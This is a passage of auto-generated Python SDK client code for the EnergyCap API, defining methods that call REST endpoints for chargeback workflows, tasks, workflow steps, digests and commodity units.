execute_processor_by_workflow_step.metadata = {'url': '/api/v3/chargebackWorkflowStep/{chargebackWorkflowStepId}/exec'}
def execute_processor_by_workflow(
self, chargeback_workflow_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Process distributions assigned to a chargeback workflow for a specific
billing period.
If settings are not provided, the last month will be processed.
:param chargeback_workflow_id: The chargeback workflow id
:type chargeback_workflow_id: int
:param body: The processor settings
:type body:
~energycap.sdk.models.ChargebackProcessorSettingsWithoutFilters
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ChargebackTaskResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.execute_processor_by_workflow.metadata['url']
path_format_arguments = {
'chargebackWorkflowId': self._serialize.url("chargeback_workflow_id", chargeback_workflow_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackProcessorSettingsWithoutFilters')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ChargebackTaskResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
execute_processor_by_workflow.metadata = {'url': '/api/v202304/chargebackWorkflow/{chargebackWorkflowId}/exec'}
def void_chargeback_task(
self, task_id, custom_headers=None, raw=False, **operation_config):
"""Void all bills created by the chargeback task
If this is a split task, any source bills will be reset to has not been
split
If any bills have already been exported they will still be voided.
:param task_id: Identifier for the chargeback task
:type task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.void_chargeback_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
void_chargeback_task.metadata = {'url': '/api/v3/chargebackTask/{taskId}/void'}
def delete_chargeback_task(
self, task_id, custom_headers=None, raw=False, **operation_config):
"""Delete all bills created by the chargeback task
If this is a split task, any source bills will be reset to has not been
split
If any bills have already been exported they will still be deleted.
:param task_id: Identifier for the chargeback task
:type task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_chargeback_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_chargeback_task.metadata = {'url': '/api/v3/chargebackTask/{taskId}/delete'}
def get_chargeback_tasks(
self, filter=None, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get all chargeback tasks with details.
:param filter: Filters to apply
:type filter: str
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ChargebackTaskResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_tasks.metadata['url']
# Construct parameters
query_parameters = {}
if filter is not None:
query_parameters['filter'] = self._serialize.query("filter", filter, 'str')
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('[ChargebackTaskResponse]', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
get_chargeback_tasks.metadata = {'url': '/api/v3/chargebackTask'}
def update_chargeback_task(
self, task_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a chargeback task's comment.
:param task_id: Identifier for the chargeback task to update
:type task_id: int
:param body: Data representing the comment
:type body: ~energycap.sdk.models.ChargebackTaskRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_chargeback_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackTaskRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_chargeback_task.metadata = {'url': '/api/v3/chargebackTask/{taskId}'}
def get_chargeback_task(
self, task_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a chargeback task with details.
:param task_id: Identifier for the chargeback task
:type task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_task.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_task.metadata = {'url': '/api/v3/chargebackTask/{taskId}'}
def get_chargeback_task_error_file(
self, task_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a chargeback task's error log as an EXCEL file.
:param task_id: Identifier for the chargeback task
:type task_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: str or ClientRawResponse if raw=true
:rtype: str or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_task_error_file.metadata['url']
path_format_arguments = {
'taskId': self._serialize.url("task_id", task_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('str', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_task_error_file.metadata = {'url': '/api/v3/chargebackTask/{taskId}/errorOutput'}
def get_chargeback_workflows(
self, custom_headers=None, raw=False, **operation_config):
"""Get a list of chargeback workflows.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ChargebackWorkflowResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_workflows.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ChargebackWorkflowResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_workflows.metadata = {'url': '/api/v3/chargebackWorkflow'}
def create_chargeback_workflow(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a chargeback workflow.
:param body: Definition for chargeback workflow
:type body: ~energycap.sdk.models.ChargebackWorkflowCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackWorkflowResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackWorkflowResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_chargeback_workflow.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackWorkflowCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackWorkflowResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_chargeback_workflow.metadata = {'url': '/api/v3/chargebackWorkflow'}
def get_chargeback_workflow(
self, chargeback_workflow_id, custom_headers=None, raw=False, **operation_config):
"""Get a chargeback workflow.
:param chargeback_workflow_id: Chargeback workflow id
:type chargeback_workflow_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackWorkflowResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackWorkflowResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_workflow.metadata['url']
path_format_arguments = {
'chargebackWorkflowId': self._serialize.url("chargeback_workflow_id", chargeback_workflow_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackWorkflowResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_workflow.metadata = {'url': '/api/v3/chargebackWorkflow/{chargebackWorkflowId}'}
def edit_chargeback_workflow(
self, chargeback_workflow_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a chargeback workflow.
:param chargeback_workflow_id: Chargeback workflow id
:type chargeback_workflow_id: int
:param body: Definition for chargeback workflow
:type body: ~energycap.sdk.models.ChargebackWorkflowEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackWorkflowResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackWorkflowResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_chargeback_workflow.metadata['url']
path_format_arguments = {
'chargebackWorkflowId': self._serialize.url("chargeback_workflow_id", chargeback_workflow_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackWorkflowEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackWorkflowResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_chargeback_workflow.metadata = {'url': '/api/v3/chargebackWorkflow/{chargebackWorkflowId}'}
def delete_chargeback_workflow(
self, chargeback_workflow_id, custom_headers=None, raw=False, **operation_config):
"""Delete a chargeback workflow.
:param chargeback_workflow_id: Chargeback workflow id
:type chargeback_workflow_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_chargeback_workflow.metadata['url']
path_format_arguments = {
'chargebackWorkflowId': self._serialize.url("chargeback_workflow_id", chargeback_workflow_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_chargeback_workflow.metadata = {'url': '/api/v3/chargebackWorkflow/{chargebackWorkflowId}'}
def get_chargeback_workflow_steps(
self, chargeback_workflow_type=None, custom_headers=None, raw=False, **operation_config):
"""Get a list of chargeback workflow steps.
:param chargeback_workflow_type: Pass either "split" or "calculation"
to filter workflow steps
:type chargeback_workflow_type: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ChargebackWorkflowStepChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_workflow_steps.metadata['url']
# Construct parameters
query_parameters = {}
if chargeback_workflow_type is not None:
query_parameters['chargebackWorkflowType'] = self._serialize.query("chargeback_workflow_type", chargeback_workflow_type, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ChargebackWorkflowStepChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_workflow_steps.metadata = {'url': '/api/v3/chargebackWorkflowStep'}
def get_chargeback_workflow_step(
self, chargeback_workflow_step_id, custom_headers=None, raw=False, **operation_config):
"""Get a single chargeback workflow step.
:param chargeback_workflow_step_id: Workflow step ID
:type chargeback_workflow_step_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackWorkflowStepChild or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackWorkflowStepChild or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_workflow_step.metadata['url']
path_format_arguments = {
'chargebackWorkflowStepId': self._serialize.url("chargeback_workflow_step_id", chargeback_workflow_step_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackWorkflowStepChild', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_workflow_step.metadata = {'url': '/api/v3/chargebackWorkflowStep/{chargebackWorkflowStepId}'}
def assign_versions_to_step_method(
self, chargeback_workflow_step_id, billing_period, body=None, custom_headers=None, raw=False, **operation_config):
"""Assign a list of bill split or calculate bill versions to a chargeback
workflow step of the same type.
:param chargeback_workflow_step_id: ID of the chargeback workflow step
to which the versions will be assigned
:type chargeback_workflow_step_id: int
:param billing_period: The billing period to validate that the
provided versions are effective
:type billing_period: int
:param body: The chargeback versions to assign to the provided
chargeback workflow step
:type body: ~energycap.sdk.models.AssignVersionsToStep
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackWorkflowStepChild or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackWorkflowStepChild or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.assign_versions_to_step_method.metadata['url']
path_format_arguments = {
'chargebackWorkflowStepId': self._serialize.url("chargeback_workflow_step_id", chargeback_workflow_step_id, 'int'),
'billingPeriod': self._serialize.url("billing_period", billing_period, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'AssignVersionsToStep')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackWorkflowStepChild', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
assign_versions_to_step_method.metadata = {'url': '/api/v3/chargebackWorkflowStep/{chargebackWorkflowStepId}/billingPeriod/{billingPeriod}/version'}
def void_chargeback_workflow_steps(
self, chargeback_workflow_step_id, billing_period=None, custom_headers=None, raw=False, **operation_config):
"""Void all bills created by a chargeback workflow step for a particular
billing period
If this workflow step was run multiple times, all bills created across
all runs for the billing period will be voided
If this is a split step, any source bills will be reset to has not been
split
If any bills have already been exported they will still be voided.
:param chargeback_workflow_step_id: Chargeback Workflow Step ID
:type chargeback_workflow_step_id: int
:param billing_period: Billing period to undo
:type billing_period: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.void_chargeback_workflow_steps.metadata['url']
path_format_arguments = {
'chargebackWorkflowStepId': self._serialize.url("chargeback_workflow_step_id", chargeback_workflow_step_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if billing_period is not None:
query_parameters['billingPeriod'] = self._serialize.query("billing_period", billing_period, 'int')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
void_chargeback_workflow_steps.metadata = {'url': '/api/v3/chargebackWorkflowStep/{chargebackWorkflowStepId}/void'}
def delete_chargeback_workflow_steps(
self, chargeback_workflow_step_id, billing_period=None, custom_headers=None, raw=False, **operation_config):
"""Delete all bills created by a chargeback workflow step
If this workflow step was run multiple times, all bills created across
all runs for the billing period will be voided
If this is a split step, any source bills will be reset to has not been
split
If any bills have already been exported they will still be deleted.
:param chargeback_workflow_step_id: Chargeback Workflow Step ID
:type chargeback_workflow_step_id: int
:param billing_period: Billing period to undo
:type billing_period: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_chargeback_workflow_steps.metadata['url']
path_format_arguments = {
'chargebackWorkflowStepId': self._serialize.url("chargeback_workflow_step_id", chargeback_workflow_step_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if billing_period is not None:
query_parameters['billingPeriod'] = self._serialize.query("billing_period", billing_period, 'int')
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_chargeback_workflow_steps.metadata = {'url': '/api/v3/chargebackWorkflowStep/{chargebackWorkflowStepId}/delete'}
def get_chargeback_workflow_digest(
self, chargeback_workflow_step_id, billing_period=None, custom_headers=None, raw=False, **operation_config):
"""Get a digest of all bills by meter for all meters involved in a
chargeback workflow step for a given billing period.
:param chargeback_workflow_step_id: The id of the chargeback workflow
step.
:type chargeback_workflow_step_id: int
:param billing_period: The billing period of the digest.
:type billing_period: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackWorkflowDigestResponse or ClientRawResponse if
raw=true
:rtype: ~energycap.sdk.models.ChargebackWorkflowDigestResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_chargeback_workflow_digest.metadata['url']
path_format_arguments = {
'chargebackWorkflowStepId': self._serialize.url("chargeback_workflow_step_id", chargeback_workflow_step_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if billing_period is not None:
query_parameters['billingPeriod'] = self._serialize.query("billing_period", billing_period, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackWorkflowDigestResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_chargeback_workflow_digest.metadata = {'url': '/api/v3/chargebackWorkflow/{chargebackWorkflowStepId}/digest'}
def get_units_by_commodity(
self, commodity_id, class_code="", noun_code="", unit_type_code="", custom_headers=None, raw=False, **operation_config):
"""Returns a list of units by a specific commodity.
:param commodity_id: The specific commodity ID
:type commodity_id: int
:param class_code: (Optional) A grouping of classes for the units.
Valid values are 'use', 'cost', 'demand'.
:type class_code: str
:param noun_code: (Optional) A specific class for units
:type noun_code: str
:param unit_type_code: (Optional) A specific unity type
:type unit_type_code: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.UnitChild] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_units_by_commodity.metadata['url']
path_format_arguments = {
'commodityId': self._serialize.url("commodity_id", commodity_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if class_code is not None:
query_parameters['classCode'] = self._serialize.query("class_code", class_code, 'str')
if noun_code is not None:
query_parameters['nounCode'] = self._serialize.query("noun_code", noun_code, 'str')
if unit_type_code is not None:
query_parameters['unitTypeCode'] = self._serialize.query("unit_type_code", unit_type_code, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[UnitChild]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_units_by_commodity.metadata = {'url': '/api/v3/commodity/{commodityId}/unit'}
def get_commodities(
self, custom_headers=None, raw=False, **operation_config):
"""Returns a list of commodities available with their common units and if
they are currently in use.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.Commodity] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_commodities.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[Commodity]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_commodities.metadata = {'url': '/api/v3/commodity'}
def get_commodity(
self, commodity_id, custom_headers=None, raw=False, **operation_config):
"""Returns a commodity with its common units and if it is currently in
use.
:param commodity_id: The specific commodity ID
:type commodity_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
